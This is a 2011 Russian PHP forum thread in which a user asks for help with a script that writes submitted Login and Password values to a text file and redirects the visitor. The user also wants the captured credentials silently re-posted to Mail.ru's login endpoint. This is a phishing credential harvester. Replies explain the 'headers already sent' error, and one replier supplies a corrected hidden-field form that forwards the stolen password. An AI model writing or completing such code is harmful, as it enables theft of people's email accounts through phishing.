Header ("location: что не так ? раньше работало

Тема в разделе "PHP", создана пользователем dmx, 26 дек 2011.

Модераторы: latteo
  1. dmx

    dmx

    Регистр.:
    22 июн 2011
    Сообщения:
    662
    Симпатии:
    527
    Код:
                    <?php
    $fd=fopen("1.txt","a");
    fwrite ($fd,$_POST['Login']."\t".$_POST['Password']."\n");
    fclose ($fd);
    header ("Location: http://ya.ru");
    ?> 
    Выдаёт ошибку :
    Код:
    Warning: Cannot modify header information - headers already sent by (output started at /home/o/tex/e.s-mail.ru/public_html/php.php:2) in /home/o/tex/e.s-mail.ru/public_html/php.php on line 5
    Парни помогите ещё login и password передать туда в этом же скрипте в POST
    Код:
    <form name="Auth" id="Auth" method="post" action="http://e.mail.ru/cgi-bin/auth"
     
  2. Alternator

    Alternator

    Регистр.:
    23 мар 2009
    Сообщения:
    295
    Симпатии:
    145
    Рискну предположить по этой ошибке, что была еще одна, во второй строке, где fopen()
    Cannot modify header information возникает, когда уже какая-то информация уже выведена до этого момента.
    Все вызовы header должны производится до вывода какого-либо текста через echo, блоки HTML и прочее
    Если до его вызова была выведена какая-то ошибка - также считается.

    Также, частая причина такой ошибки - когда первый открывающий тег <?php находится не в начале первой строки.
    До него ничего не должно быть. Проверьте также, чтобы документ был сохранен как UTF-8 без BOM
    Обычный блокнот сохраняет UTF_8 с BOM
    BOM - это невидимые три байта в начале файла, которые тем не менее считаются как вывод. ОНи сигнализируют, что этот документ - в UTF-8
     
    dmx нравится это.
  3. dmx

    dmx

    Регистр.:
    22 июн 2011
    Сообщения:
    662
    Симпатии:
    527
    Это помогло ! Никогда бы об этом не подумал. Респект ! Хотя на другом хосте работало.

    Alternator , можешь дописать скрипт , чтоб передать получаемые здесь Login и Password на

    http://e.mail.ru/cgi-bin/auth


    Код:
    <?php
    $fd=fopen("1.txt","a");
    fwrite ($fd,$_POST['Login']."\t".$_POST['Password']."\n");
    fclose ($fd);
     
    ?>
     
    <form name="Auth" id="Auth" method="post" action="http://site.ru/cgi-bin/auth"
                                <input id="mailbox__login" type="hidden" size="10" name="Login" tabindex="3" value="$_POST['Login']" class="mailbox__login__field" />
                                <input id="mailbox__password" type="hidden" size="15" name="Password" tabindex="5" value="$_POST['Password']" class="mailbox__password__field"                         
                    <input id="mailbox__submit__button" type="submit" value="Войти" tabindex="6" class="mailbox__submit__button" />
     
    </form>
    не работает. , пусть будет GET//// а нет полюбому нужен POST


    added by t3s
    dmx, после переезда форума на новую платформу имеются небольшие глюки с предупреждениями... поэтому предупреждений выписывать не буду - буду сразу банить
    2 поста друг за другом = запрещенный правилами набор постов, достаточно было отредактировать предыдущее сообщение
     
  4. Alternator

    Alternator

    Регистр.:
    23 мар 2009
    Сообщения:
    295
    Симпатии:
    145
    PHP:
    <form name="Auth" id="Auth" method="post" action="http://site.ru/cgi-bin/auth">
      <input id="mailbox__login" type="hidden" size="10" name="Login" tabindex="3" value="<?php echo $_POST['Login']; ?>" class="mailbox__login__field" />
    <input id="mailbox__password" type="hidden" size="15" name="Password" tabindex="5" value=" <?php echo $_POST['Password']; ?> " class="mailbox__password__field" 
    <input id="mailbox__submit__button" type="submit" value="Войти" tabindex="6" class="mailbox__submit__button" />

    </form> 
    Если вы хотите выполнять внутри блока HTML, и выводить результат PHP_кода, то вы должны заключать PHP-код в теги <?php
    А еще вы забыли в открывающем теге FORM угловую скобочку в конце
     
    dmx нравится это.
  5. Ramazan

    Ramazan пыщ-пыщ

    Регистр.:
    28 янв 2007
    Сообщения:
    471
    Симпатии:
    98
    Если вы применяете функцию header, которая передаёт клиенту заголовки, то вы должны знать, что все заголовки устанавливаются до вывода информации.
    Поэтому любое использование echo, print и др. не допустим. Так же эта ошибка может вылезти, если до использования функции header, у вас выскочила ошибка NOTICE или WARNING.
     
    dmx нравится это.
  6. dmx

    dmx

    Регистр.:
    22 июн 2011
    Сообщения:
    662
    Симпатии:
    527
    Код:
    <input id="mailbox__submit__button" type="submit" value="Войти" tabindex="6" class="mailbox__submit__button" />
    Надо чтоб автоматически передало. Типа JS form[0].submit(); либо curl на нужный адрес.
    Но не хватает знаний как это применить.